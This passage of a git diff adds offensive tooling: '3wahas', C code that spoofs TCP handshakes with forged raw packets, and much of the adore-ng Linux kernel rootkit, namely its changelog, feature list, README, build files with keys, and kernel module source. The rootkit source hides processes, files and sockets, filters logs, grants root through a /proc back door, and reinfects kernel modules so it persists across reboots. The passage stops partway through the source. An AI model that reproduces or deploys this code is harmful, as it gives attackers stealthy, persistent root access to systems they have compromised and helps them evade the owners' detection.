*Üreturn 1 on failure + * + * net_printipa behaves the same way, except it allocates memory and let + * `*str' point to the string + * + * net_printipr behaves like net_printip, except the IP is printed in + * reverse quad dotted order (dns labels) + */ + +int net_printip (struct in_addr *ia, char *str, size_t len); +int net_printipa (struct in_addr *ia, char **str); +int net_printipr (struct in_addr *ia, char *str, size_t len); + + +#endif + diff --git a/other/3wahas/packet.c b/other/3wahas/packet.c new file mode 100644 index 0000000..7dd521a --- /dev/null +++ b/other/3wahas/packet.c @@ -0,0 +1,178 @@ +/* zodiac - advanced dns spoofer + * + * packet handling and queueing routines + * by scut + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" +#include "packet.h" +#include "network.h" +#include "sniff.h" +#include "3wahas.h" + + +/* pq_grind + * + * grind the packets received from the sniffer thread, stripping ethernet + * header, filter non-TCP packets, add them to the packet queue, then raise + * the correct semaphore. + * + * `sinfo' gives information about the sniffing thread and the packet queue, + * `pkthdr' is from the pcap handler and `pkt' contains the real packet data. + */ + +void +pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, u_char *pkt) +{ + size_t psize; + sniff_info *sinfo = (sniff_info *) sinfov; + eth_hdr *eth = (eth_hdr *) pkt; + ip_hdr *ip; /* IP packet header pointer */ + tcp_hdr *tcp; /* UDP packet header pointer */ + char *ip_src, *ip_dst; + + /* check if it is a IP/UDP packet, if not, silently skip it + */ + if (pkthdr->caplen < (sizeof (eth_hdr) + sizeof (tcp_hdr))) + return; + if (eth->eth_type != htons (ETH_P_IP)) + return; + + ip = (ip_hdr *) (pkt + sizeof (eth_hdr)); + tcp = (tcp_hdr *) (pkt + sizeof (eth_hdr) + sizeof (ip_hdr)); + + psize = pkthdr->caplen - sizeof (eth_hdr); + + if (ip->ip_proto != IPPROTO_TCP) + return; + + if ((ip->ip_src.s_addr != sinfo->ip_dst.s_addr)) + return; + + if (((tcp->th_flags & TH_SYN) != TH_SYN) || ((tcp->th_flags & TH_ACK) != TH_ACK)) + return; + + net_printipa (&ip->ip_src, &ip_src); + net_printipa (&ip->ip_dst, &ip_dst); + + printf ("[%s:%5u] -> [%s:%5u] %c%c%c%c\n", + ip_src, htons (tcp->th_sport), + ip_dst, htons (tcp->th_dport), + ((tcp->th_flags & TH_SYN) == TH_SYN) ? 'Y' : ' ', + ((tcp->th_flags & TH_ACK) == TH_ACK) ? 'A' : ' ', + ((tcp->th_flags & TH_FIN) == TH_FIN) ? 'F' : ' ', + ((tcp->th_flags & TH_RST) == TH_RST) ? 'R' : ' '); + + pq_3whs (ip, tcp); + + free (ip_src); + free (ip_dst); + return; +} + + +void +pq_3whs (struct ip_hdr *ip, struct tcp_hdr *tcp) +{ + u_char *buf = xcalloc (1, sizeof (ip_hdr) + sizeof (tcp_hdr)); + int sock = open_raw_sock (IPPROTO_RAW); + + if (sock == -1) { + free (buf); + return; + } + + build_ip (TCP_H, + 0, + 1911, + 0, + 64, + IPPROTO_TCP, + ip->ip_dst.s_addr, + ip->ip_src.s_addr, + NULL, + 0, + buf); + + build_tcp (htons (tcp->th_dport), + htons (tcp->th_sport), + libnet_get_prand (PRu32), /* seq */ + htonl (tcp->th_seq) + 1, /* yeah */ + TH_ACK, + 1024, + 0, + NULL, + 0, + buf + IP_H); + + do_checksum (buf, IPPROTO_TCP, TCP_H); + write_ip (sock, buf, TCP_H + IP_H); + + free (buf); + close (sock); + + return; +} + + +void +pq_syns (char *ip_src_c, char *ip_dst_c, u_short dst_prt) +{ + u_char *buf = xcalloc (1, sizeof (ip_hdr) + sizeof (tcp_hdr)); + int sock = open_raw_sock (IPPROTO_RAW); + struct in_addr ip_src, + ip_dst; + + ip_src.s_addr = net_resolve (ip_src_c); + ip_dst.s_addr = net_resolve (ip_dst_c); + + if (sock == -1) { + free (buf); + return; + } + + build_ip (TCP_H, + 0, + 1911, + 0, + 64, + IPPROTO_TCP, + ip_src.s_addr, + ip_dst.s_addr, + NULL, + 0, + buf); + + build_tcp (libnet_get_prand (PRu16), + dst_prt, + libnet_get_prand (PRu32), + 0, + TH_SYN, + 1024, + 0, + NULL, + 0, + buf + IP_H); + + do_checksum (buf, IPPROTO_TCP, TCP_H); + write_ip (sock, buf, TCP_H + IP_H); + + free (buf); + close (sock); + + return; +} + + diff --git a/other/3wahas/packet.h b/other/3wahas/packet.h new file mode 100644 index 0000000..4bc5b65 --- /dev/null +++ b/other/3wahas/packet.h @@ -0,0 +1,74 @@ +/* snifflib + * + * by scut + * + */ + +#ifndef Z_PACKET_H +#define Z_PACKET_H + +#include +#include +#include +#include +#include +#include +#include + +/* packet structures + * parts ripped from snorts excellent include files + */ + + +typedef struct eth_hdr +{ + u_char eth_dst[6]; /* ethernet destination address (MAC) */ + u_char eth_src[6]; /* ethernet source address (MAC) */ + u_short eth_type; /* enclosed packet type */ +} eth_hdr; + +typedef struct ip_hdr +{ + u_char ip_hlen:4, ip_ver:4; /* IP header length, IP version */ + u_char ip_tos; /* IP type of service */ + u_short ip_len; /* IP data length */ + u_short ip_id; /* IP fragmentation identification */ + u_short ip_off; /* IP fragment offset */ + u_char ip_ttl; /* IP time to live */ + u_char ip_proto; /* subprotocol of enclosed packet */ + u_short ip_csum; /* IP header checksum */ + struct in_addr ip_src; /* IP source address */ + struct in_addr ip_dst; /* IP destination address */ +} ip_hdr; + +#define TH_FIN 0x01 +#define TH_SYN 0x02 +#define TH_RST 0x04 +#define TH_PUSH 0x08 +#define TH_ACK 0x10 +#define TH_URG 0x20 + +typedef struct tcp_hdr +{ + u_short th_sport; + u_short th_dport; + u_long th_seq; + u_long th_ack; + u_char th_x2:4, th_off:4; + u_char th_flags; + u_short th_win; + u_short th_sum; + u_short th_urp; +} tcp_hdr; + + +#define ETHHDRSIZE sizeof (eth_hdr); +#define IPHDRSIZE sizeof (ip_hdr); + + +void pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, unsigned char *pkt); +void pq_3whs (struct ip_hdr *ip, struct tcp_hdr *tcp); +void pq_syns (char *ip_src_c, char *ip_dst_c, u_short dst_prt); + +#endif + diff --git a/other/3wahas/sniff.c b/other/3wahas/sniff.c new file mode 100644 index 0000000..826638d --- /dev/null +++ b/other/3wahas/sniff.c @@ -0,0 +1,182 @@ +/* zodiac - advanced dns spoofer + * + * sniffing functions + * + * by scut + * + */ + +#include +#include +#include +#include +#include +#include "common.h" +#include "network.h" +#include "packet.h" +#include "sniff.h" +#include "3wahas.h" + +/* sniff_new + * + * the only function that should be called from outside. set up sniffing + * device, create a new thread, then return. + * open `interface' device for sniffing, tell sniffing thread to use + * `pq_size' packet queues, available through `pq_list'. + * store thread id of new thread in `tid'. + * + * return 0 if thread creation was successful + * return 1 if thread creation failed + */ + +void +sniff_new (char *interface, char *ip_dst) +{ + sniff_info *sinfo; /* sniff information structure */ + + sinfo = xcalloc (1, sizeof (sniff_info)); + + sinfo->ip_dst.s_addr = net_resolve (ip_dst); + + /* open interface + */ + sinfo->device = sniff_open (interface); + if (sinfo->device == NULL) { + free (sinfo); + return; + } + + sniff_handle (sinfo); + /* successfully created sniffer thread + */ + return; +} + +/* sniff_handle + * + * the main sniffing thread, fetching packets from the device, then calling + * the packet grinder `pq_grind' to process the packets + * + * should never return except on error or program exit + */ + +void * +sniff_handle (sniff_info *sinfo) +{ + int n; /* temporary return value */ + pcap_handler grinder; /* pcap handler for the packet grinding function */ + + printf ("[phx] hello world from sniff handler\n\n"); + grinder = (pcap_handler) pq_grind; + n = pcap_loop (sinfo->device->pd, -1, grinder, (void *) sinfo); + + if (n == -1) { + printf ("[phx] sniff_handle (pcap_loop): %s\n", pcap_geterr (sinfo->device->pd)); + } + + return (NULL); +} + +/* sniff_open + * + * open `dev' for sniffing, or just the first sniffable one, if + * dev is NULL. + * + * return NULL on failure + * return pointer sniffing device structure on success + */ + +s_dev * +sniff_open (char *devname) +{ + int n; /* temporary return value */ + s_dev *device; /* sniffing device structure to create */ + char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer for pcap message */ + + /* create new sniffing device structure in s_dev + */ + device = xcalloc (1, sizeof (s_dev)); + + /* check wether to use the first device or a specified device + */ + if (devname == NULL) { + /* due to lame pcap manpage, you should not know that it's static *doh* */ + device->interface = pcap_lookupdev (errorbuf); + if (device->interface == NULL) { + printf ("[phx] sniff_open (pcap_lookupdev): %s\n", errorbuf); + device->error = 1; + return (device); + } + } else { + /* if the interface we have to use is already known just copy it + */ + device->interface = xstrdup (devname); + } + + /* try to open the device found + */ + device->pd = sniff_pcap_open (device->interface); + if (device->pd == NULL) { + device->error = 1; + return (device); + } + + /* now query some information about the device and store them into our struct + */ + n = pcap_lookupnet (device->interface, &device->localnet, + &device->netmask, errorbuf); + if (n == -1) { + device->error = 1; + return (device); + } + + device->linktype = pcap_datalink (device->pd); + if (device->linktype == -1) { + device->error = 1; + return (device); + } + + return (device); +} + +/* sniff_pcap_open + * + * securely wraps the pcap_open_live call to catch any errors + * + * return NULL on failure + * return capture descriptor on succes + */ + +pcap_t * +sniff_pcap_open (char *device) +{ + char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer */ + pcap_t *pdes = NULL; /* packet capture descriptor */ + + pdes = pcap_open_live (device, SNAPLEN, PROMISC, READ_TIMEOUT, errorbuf); + + if (pdes == NULL) { + printf ("[phx] sniff_pcap_open (pcap_open_live): %s\n", errorbuf); + return (NULL); + } + + return (pdes); +} + +/* sniff_dev_free + * + * close and free a sniffing device + */ + +void +sniff_dev_free (s_dev *device) +{ + pcap_close (device->pd); + if (device->interface) + free (device->interface); + + free (device); + + return; +} + diff --git a/other/3wahas/sniff.h b/other/3wahas/sniff.h new file mode 100644 index 0000000..af8fc77 --- /dev/null +++ b/other/3wahas/sniff.h @@ -0,0 +1,41 @@ +/* snifflib + * + * by scut + * + */ + +#ifndef Z_SNIFF_H +#define Z_SNIFF_H + +#include +#include "packet.h" + +#define SNAPLEN 65535 +#define PROMISC 1 +#define READ_TIMEOUT 0 + +typedef struct s_dev { + int error; /* error flag */ + + pcap_t *pd; /* packet capture descriptor */ + char *interface; /* interface name */ + int linktype; /* link layer type */ + unsigned long int linkhdrlen; /* length of the link layer frame header */ + bpf_u_int32 localnet; /* local network address */ + bpf_u_int32 netmask; /* netmask of local network */ + +} s_dev; + +typedef struct sniff_info { + s_dev *device; /* device structure of the sniffing device */ + struct in_addr ip_dst; +} sniff_info; + +void sniff_new (char *interface, char *ip_dst); +void *sniff_handle (sniff_info *sinfo); +s_dev *sniff_open (char *devname); +pcap_t *sniff_pcap_open (char *device); +void sniff_dev_free (s_dev *device); + +#endif + diff --git a/other/adore-ng/CVS/Entries b/other/adore-ng/CVS/Entries new file mode 100644 index 0000000..328b9db --- /dev/null +++ b/other/adore-ng/CVS/Entries @@ -0,0 +1,22 @@ +/Changelog/1.10/Sat Feb 28 00:15:23 2004// +/FEATURES/1.2/Fri Jan 30 18:42:39 2004// +/LICENSE/1.2/Tue Mar 2 04:57:07 2004// +/Makefile.2.6.gen/1.11/Sat Feb 28 00:41:30 2004// +/Makefile.gen/1.8/Sun Feb 8 03:35:15 2004// +/README/1.7/Sun Jan 4 17:53:16 2004// +/README.26/1.3/Sat Feb 28 00:15:23 2004// +/adore-ng-2.6.c/1.9/Sat Feb 28 00:15:23 2004// +/adore-ng.c/1.26/Tue Mar 2 04:57:07 2004// +/adore-ng.h/1.3/Fri Jan 3 14:58:17 2003// +/adore-ng.mod.c/1.1/Thu Jul 24 12:30:37 2003// +/ava.c/1.3/Wed Nov 5 15:02:48 2003// +/cleaner.c/1.2/Wed Feb 26 14:43:08 2003// +/configure/1.17/Sat Feb 28 00:41:30 2004// +/irq_vectors.h/1.2/Sat Feb 28 00:15:23 2004// +/libinvisible.c/1.7/Mon Dec 22 23:29:46 2003// +/libinvisible.h/1.1.1.1/Tue Dec 31 15:48:59 2002// +/relink/1.1/Mon Dec 22 16:25:58 2003// +/startadore/1.1/Tue Dec 23 22:49:17 2003// +/symsed.c/1.1/Mon Dec 22 16:25:58 2003// +/visible-start.c/1.4/Sat Feb 28 00:15:23 2004// +D diff --git a/other/adore-ng/CVS/Repository b/other/adore-ng/CVS/Repository new file mode 100644 index 0000000..e195356 --- /dev/null +++ b/other/adore-ng/CVS/Repository @@ -0,0 +1 @@ +adore-ng diff --git a/other/adore-ng/CVS/Root b/other/adore-ng/CVS/Root new file mode 100644 index 0000000..3811072 --- /dev/null +++ b/other/adore-ng/CVS/Root @@ -0,0 +1 @@ +/cvs diff --git a/other/adore-ng/Changelog b/other/adore-ng/Changelog new file mode 100644 index 0000000..dd258c0 --- /dev/null +++ b/other/adore-ng/Changelog @@ -0,0 +1,174 @@ +1.41 +---- + ++ Wed Mar 3 2004 ++ 2.6.3 tests, getting to know that some declarations are different + on 2.6.3 + +1.40 +---- + ++ Sun Feb 29 2004 ++ Ported all of the adore for 2.4 kernel to 2.6 kernel + (including socket hiding, syslog filtering and xtmp clearing) + +1.32 +---- + ++ Sun Feb 8 2004 ++ Added fix in tcp_new_size() so it wont crash if lot + of TCP connections exist + +1.31 +---- + ++ Sat Jan 3 2004 ++ Changed socket hijacking to work with 2.4.18 and below ++ SMP tests + +1.30 +---- + ++ Sun Dec 21 2003 ++ Added syslog filtering ++ Added wtmp/utmp/lastlog filtering ++ Restrict ADORE_KEY to 16 bytes max ++ Added relink script ++ Added symsed ++ Added startadore ++ Added LKM infection for reboot residency + + +1.26 +---- + ++ heh, forgot to update $current_adore before tagging + to version 0.26 :) + +1.25 +---- + ++ Hidden 'ps' (started from hidden shell) must be able + to see itself on /proc. Otherwise some distros make + probs. Fixed! ++ Added 'I' switch to ava + + +1.23 +---- + ++ 2.6 port ++ added visible-start + +1.12 +---- + ++ fixed adore_atoi() respect to /proc misbehaivior + a PID of 672 has the string "672üA" so make atoi() + handle this ++ fixed adore_init() which did not checked ssuid + correctly + + +1.11 +---- + ++ rewrote most parts (using VFS etc) + -> adore-ng + +0.53 +---- + ++ #define PID_MAX if not found + + +0.52 +---- ++ support 16 and 32 bit UID/GID ++ using spin-locks ++ hooking lookup in proc_root, so many adore-testers + fail now ++ much better tcp-connection hiding, also via proc ++ removed file redirection ++ added elite_gid, so its now impossible to detect adore by + chown()+getdents() bruteforce ++ elite_uid/elite_gid are randomly choosen by "configure" ++ close() should return EBADF when + user is not authenticated. It does so now. + +0.42 +---- + ++ Added devpts fix. + +0.41 +---- + ++ fixed is_secret64() to properly hide files. ++ removed memleak + +0.40 +---- + ++ fixed some typo in cleanup_module() + + +0.39b +----- + ++ open()/stat() redirection ++ no more exec redir ++ Added possiblility to hide more than one service + (netstat -an vs. -al) ++ This is a Beta version! It is for testing purposes, + whether open/stat redir works properly. + +0.38 +---- + ++ Nothing. CVS-internally thing. + + +0.36 +---- + ++ Added rename.c as generic way to rename/rmmod protection + modules such as StMichael. ++ Fixed libinvisble: Dont follow links on chown() -> + now properly hides symlinks + +0.35 +---- + ++ Added 64 bit FS support, for 2.4 plus new glibc + + +0.33 +---- + ++ Added auth via mkdir(2) to defeat scanners ++ setuid() -> close() change since 2.4 kernel uses setuid32() + + +0.32 +---- + ++ added kgcc check in configure ++ added exec-redirection ++ made 'R' switch stable (now official feature) + + +0.31 +---- ++ empty module-list doesn't crash anymore :) ++ removed syslog dis/enabling coz a lot of ppl told me its not of much use + and it only costs porting time and robustness ++ added removing of procs ++ no chkroot defat anymore. there are too many ways to detect rootkits + + +... +sowhere below + ++ Added 'cant be killed from normal processes' + diff --git a/other/adore-ng/FEATURES b/other/adore-ng/FEATURES new file mode 100644 index 0000000..1e88216 --- /dev/null +++ b/other/adore-ng/FEATURES @@ -0,0 +1,30 @@ + +If you never used adore before, here's a list of supported +things: + + o runs on kernel 2.4.x UP and SMP systems + o first test-versions successfully run on 2.6.0 + o file and directory hiding + o process hiding + o socket-hiding (no matter whether LISTENing, CONNECTED etc) + o full-capability back door + o does not utilize sys_call_table but VFS layer + o KISS principle, to have as less things in there as possible + but also being as much powerful as possible + +new with adore-ng 0.30: + + o syslog filtering: logs generated by hidden processes never appear + on the syslog UNIX socket anymore + o wtmp/utmp/lastlog filtering: writing of xtmp entries by hidden processes + do not appear in the file, except you force it by using special hidden + AND authenticated process (a sshd back door is usually only hidden thus + xtmp entries written by sshd don't make it to disk) + o (optional) relinking of LKMs as described in phrack #61 aka LKM infection + to make it possible to be automatically reloaded after reboots + +The build and installation process is usually as easy as +'./configure && make && ./startadore' and/or +'./configure && make && ./relink' so you can set up your honey-pot +test-environment very easily. + diff --git a/other/adore-ng/LICENSE b/other/adore-ng/LICENSE new file mode 100644 index 0000000..63d3b1a --- /dev/null +++ b/other/adore-ng/LICENSE @@ -0,0 +1,31 @@ +/* + * Copyright (C) 2000-2004 Stealth. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Stealth. + * 4. The name Stealth may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ diff --git a/other/adore-ng/Makefile.2.6.gen b/other/adore-ng/Makefile.2.6.gen new file mode 100644 index 0000000..78ea182 --- /dev/null +++ b/other/adore-ng/Makefile.2.6.gen @@ -0,0 +1,29 @@ +# +CC=cc +CFLAGS=-O2 -Wall + +CFLAGS+=-mcpu=i486 +INC=-I/mnt/linux-2.6.3/include -I. +CFLAGS+=-DKBUILD_MODNAME=adore -DKBUILD_BASENAME=adore -fno-common +CFLAGS+=-DELITE_UID=2618748389U -DELITE_GID=4063569279U +CFLAGS+=-DCURRENT_ADORE=41 +CFLAGS+=-DADORE_KEY=\"fgjgggfd\" + +#CFLAGS+=-D__SMP__ + +#CFLAGS+=-DMODVERSIONS + +all: adore-ng ava + +adore-ng: adore-ng-2.6.c + rm -f adore-ng.o + $(CC) -c $(INC) $(CFLAGS) adore-ng.mod.c -o adore-ng.mod.o + $(CC) -c $(INC) $(CFLAGS) adore-ng-2.6.c -o adore-ng.o + ld -m elf_i386 -r -o adore.ko adore-ng.o adore-ng.mod.o + +ava: ava.c libinvisible.c + $(CC) $(CFLAGS) ava.c libinvisible.c -o ava + +clean: + rm -f core ava *.o + diff --git a/other/adore-ng/Makefile.gen b/other/adore-ng/Makefile.gen new file mode 100644 index 0000000..28eb091 --- /dev/null +++ b/other/adore-ng/Makefile.gen @@ -0,0 +1,33 @@ +# +CC=cc +CFLAGS=-O2 -Wall +#ld -m elf_i386 -r +# KBUILD_BASENAME adore-ng KBUILD_MODNAME=adore-ng +#CFLAGS+=-mcpu=i486 +INC=-I/usr/src/linux/include +CFLAGS+=-DELITE_UID=764385989U -DELITE_GID=2219856091U +CFLAGS+=-DCURRENT_ADORE=32 +CFLAGS+=-DADORE_KEY=\"gfsgfgdf\" + +#CFLAGS+=-D__SMP__ + +#CFLAGS+=-DMODVERSIONS + +all: adore-ng ava cleaner symsed + +adore-ng: adore-ng.c + rm -f adore-ng.o + $(CC) -c $(INC) $(CFLAGS) adore-ng.c -o adore-ng.o + $(CC) -c $(INC) $(CFLAGS) -DRELINKED adore-ng.c -o zero.o + +ava: ava.c libinvisible.c + $(CC) $(CFLAGS) ava.c libinvisible.c -o ava + +cleaner: cleaner.c + $(CC) $(INC) -c $(CFLAGS) cleaner.c + +symsed: symsed.c + $(CC) -O2 symsed.c -o symsed + +clean: + rm -f core ava *.o diff --git a/other/adore-ng/README b/other/adore-ng/README new file mode 100644 index 0000000..7a5ebee --- /dev/null +++ b/other/adore-ng/README @@ -0,0 +1,163 @@ +Please read this! It is important. Otherwise you maybe crash your kernel! +========================================================================= + + +0. Intro +-------- + +Only *YOU* are responsible for your own actions. So if you are +dumb enough to own machines and install this software on it, +only you can be blamed for it. + +Do not say you have not been warned! + + +1. Install by hand +------------------ + +You can skip this section if you want to use the "configure" +script. This section might be important if the configure +script does not run somehow or produces wrong output. + +Edit Makefile and set proper values. + +Everyone should choose an own ADORE_KEY to make it impossible to scan +for installed adore. Also ELITE_UID and ELITE_GID should be +changed to own values. +When commenting in the MODVERSIONS-switch, adore will be compiled +for modversioned kernels. Modversioned kernels have a /proc/ksyms file +that looks like + +... +foo_barR12345678 +... + +where normal kernels would look like + +... +foo_bar +... + +On some systems it can't find modversions.h. Try disabling MODVERSIONS even +when you see the symbols are version-ed. It seems to me that using MODVERSIONS +isn't necessary on newer kernels. + + +Hidden ports (adore-ng.h) go decimal, i.e. '2222' hides everything which belongs to port +2222. +The tcp-hiding has been redesigned completely. It uses a technique similar to +the one described by palmers in phrack (http://www.phrack.org/show.php?p=58&a=6) +By default 2222 and 7350 are hidden. Only IPv4 (tcp4) stuff is hidden. + +It is now very hard for adore-scanners to find a running adore because +it is not longer possible to chdir() or stat() PID-dirs in /proc +if PID is hidden. It is completely invisible, except to processes which +are hidden them self. +Files are now hidden using both, a ELITE_UID and a ELITE_GID which are chosen +randomly upon 'configure'. So we have 2**64 possible values which is +impossible to brute-force and thus checking for hidden files by brute-forcing +uid/gid. + +Older Linux systems have a width of 16 bit for UID's and GID's, newer systems +have 32 bit. Adore supports both. Either give 4 (for 32 bit) or 2 (for 16 bit) +as argument to configure e.g. 'configure 4'. The default is 4. + + +Make sure SMP is enabled when it is in kernel. +Don't forget to recompile when you changed Makefile. +Two 'makes' may produce two different adore's that maybe can't +interact (i.e. further hidden-files are visible now due to UID-change). +For this reason, the Makefiles are backed-up to allow a restore. + + + +2. Install by script +-------------------- + +Run configure-script. +Script should give you some messages which uid's are used etc. +View Makefile to see if everything is fine. Edit adore-ng.h to meet +with your services you want to hide. Defaults to port 2222 and 7350. +Do 'make'. +"insmod ./adore.o" as root. +Use "ava" to hide files, processes and so on then. + +When ava responds, there is no adore, but you are sure there is, +then you maybe compiled adore.o and ava with different ADORE_KEY's. +Do 'make clean; make' to put it in sync. + +"insmod ./cleaner.o; rmmod cleaner" to hide the adore LKM from lsmod. +Or use "startadore" script. Use "relink" script to relink adore-ng +into one of the LKMs already available on the system, so it is +automatically loaded during reboot. + +3. libinvisible +--------------- + +libinvisible was written to have a layer between adore and ava. +Since there are other OS's which may be targeted by adore-like modules, +ava.c could easily ported, if one writes the proper library-calls. +libinvisible maybe also used from within sysop-written hidden logdeamons +as easy API to adore. + + +Adore was written for EDUCATIONAL PURPOSES, for testing on honey-pot +boxens (watching suspicious "broken" accounts) and intrusion testings. +If you need more help watching broken accounts, you may also use +EoE to watch what is executed. + + +4. Use 'R' with care +-------------------- + +'R' switch of ava isn't well researched. It may crash your machine. +'R'emoving current shell isn't good idea. + + +5. A word on detecting root-kits +------------------------------- + +Adore has quite good anti-detection measurements in version 0.5 and better. +Since we use the new proc technique we completely control what user-space +programs see. It isn't even longer possible to detect hidden processes +by walking through the task-list and checking for PF_INVISBLE flag +because adore now uses a different approach to check for hidden procs. +I know of tools which read the disk raw by accessing /dev/hdXY and comparing +getdents() result with it. Thats the only thing where someone may detect +adore yet, but only if there are hidden files! It is not necessary to hide +files in all cases. Plus, modern systems support file-systems which are located +completely in-memory. This technique will fail here. + +Child-processes of hidden processes are hidden automatically. + + +6. Troubleshooting +------------------ + +In case gcc can't find modversions.h try to disable +MODVERSIONS flag in Makefile. + + +7. SMP primer +------------- + +Adore-ng was successfully tested on UP and SMP systems. + + + +8. etc +------- + +You can also control adore-ng by hand via echo & cat, look at adore-ng.c +to see how. +You can specify an optional FS where files can be hidden. +Only use this switch ("insmod adore-ng.o opt_fs=/opt" for example) +when you are sure that / and (your particular) /opt have a different +FS, for example ext3 on / and reiser on /opt. otherwise you will +get FS inconsistencies for sure. The opt_fs argument should not +be needed in most cases anyway. Mounts of other partitions with the same +FS will be affected by adore too. So if / and /opt both have ext3, you +dont need to worry. Adore will handle both without a opt_fs switch. + +Stealth + diff --git a/other/adore-ng/README.26 b/other/adore-ng/README.26 new file mode 100644 index 0000000..72a3d73 --- /dev/null +++ b/other/adore-ng/README.26 @@ -0,0 +1,29 @@ +adore-ng works on kernel 2.6! + +2.6.0-test1 and 2.6.3 UP tested! SMP has not been tested. + +You need the module-init-tools for the new insmod, rmmod etc, +the old ones don't work anymore. + +To build a adore for 2.6, use the "Makefile.2.6.gen" makefile +after you customized the elite UID etc (or you did not, +I dont care at all). + +The 2.6.0-test1 kernel has a different declaration for +the unix_dgram_recvmg() function than the 2.6.3 kernel. Thats +why you may get some warning on 2.6.0 builds. You can ignore them. + +With the 2.6 kernel, a version magic is build into the kernel +module (which are now .ko files carrying more info than +the old .o files for 2.4) which is even checked at loading time. +So, if the kernel is build with a different compiler than the +one used for building the module, you get an error like: + +adore: version magic '2.6.3 586 gcc-3.2' should be '2.6.3 586 gcc-3.3' + +To circumvent this you can set an own version magic in the +adore-ng.mod.c file (makes sense to use '2.6.3 586 gcc-3.3' +in this case.) + +S. + diff --git a/other/adore-ng/adore-ng-2.6.c b/other/adore-ng/adore-ng-2.6.c new file mode 100644 index 0000000..c0a30f7 --- /dev/null +++ b/other/adore-ng/adore-ng-2.6.c @@ -0,0 +1,604 @@ +/*** (C) 2004 by Stealth + *** + *** http://spider.scorpions.net/~stealth + *** http://stealth.7350.org/rootkits + *** + *** + *** (C)'ed Under a BSDish license. Please look at LICENSE-file. + *** SO YOU USE THIS AT YOUR OWN RISK! + *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. + *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! + *** + *** -> Use ava to get all the things workin'. + *** + ***/ +#define __KERNEL__ +#define MODULE + +#define LINUX26 + +#ifdef MODVERSIONS +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include "adore-ng.h" + + +char *proc_fs = "/proc"; /* default proc FS to hide processes */ +MODULE_PARM(proc_fs, "s"); +char *root_fs = "/"; /* default FS to hide files */ + +MODULE_PARM(root_fs, "s"); +char *opt_fs = NULL; +MODULE_PARM(opt_fs, "s"); + + +typedef int (*readdir_t)(struct file *, void *, filldir_t); +readdir_t orig_root_readdir=NULL,orig_opt_readdir=NULL,orig_proc_readdir=NULL; + +struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *, + struct nameidata *) = NULL; + + +static void adore_cleanup(); + + +#ifndef PID_MAX +#define PID_MAX 0x8000 +#endif + +static char hidden_procs[PID_MAX/8+1]; + +inline void hide_proc(pid_t x) +{ + if (x >= PID_MAX || x == 1) + return; + hidden_procs[x/8] |= 1<<(x%8); +} + +inline void unhide_proc(pid_t x) +{ + if (x >= PID_MAX) + return; + hidden_procs[x/8] &= ~(1<<(x%8)); +} + +inline char is_invisible(pid_t x) +{ + if (x >= PID_MAX) + return 0; + return hidden_procs[x/8]&(1<<(x%8)); +} + +/* Theres some crap after the PID-filename on proc + * getdents() so the semantics of this function changed: + * Make "672" -> 672 and + * "672|@\" -> 672 too + */ +int adore_atoi(const char *str) +{ + int ret = 0, mul = 1; + const char *ptr; + + for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) + ; + ptr--; + while (ptr >= str) { + if (*ptr < '0' || *ptr > '9') + break; + ret += (*ptr - '0') * mul; + mul *= 10; + ptr--; + } + return ret; +} + +/* Own implementation of find_task_by_pid() */ +struct task_struct *adore_find_task(pid_t pid) +{ + struct task_struct *p; + + read_lock(&tasklist_lock); + for_each_task(p) { + if (p->pid == pid) { + read_unlock(&tasklist_lock); + return p; + } + } + read_unlock(&tasklist_lock); + return NULL; +} + +int should_be_hidden(pid_t pid) +{ + struct task_struct *p = NULL; + + if (is_invisible(pid)) { + return 1; + } + + p = adore_find_task(pid); + if (!p) + return 0; + + /* If the parent is hidden, we are hidden too XXX */ + task_lock(p); + + if (is_invisible(p->parent->pid)) { + task_unlock(p); + hide_proc(pid); + return 1; + } + + task_unlock(p); + return 0; +} + +/* You can control adore-ng without ava too: + * + * echo > /proc/ will make the shell authenticated, + * echo > /proc/-fullprivs will give UID 0, + * cat /proc/hide- from such a shell will hide PID, + * cat /proc/unhide- will unhide the process + */ +struct dentry *adore_lookup(struct inode *i, struct dentry *d, + struct nameidata *nd) +{ + task_lock(current); + + if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) { + current->flags |= PF_AUTH; + current->suid = ADORE_VERSION; + } else if ((current->flags & PF_AUTH) && + strncmp(d->d_iname, "fullprivs", 9) == 0) { + current->uid = 0; + current->suid = 0; + current->euid = 0; + current->gid = 0; + current->egid = 0; + current->fsuid = 0; + current->fsgid = 0; + + cap_set_full(current->cap_effective); + cap_set_full(current->cap_inheritable); + 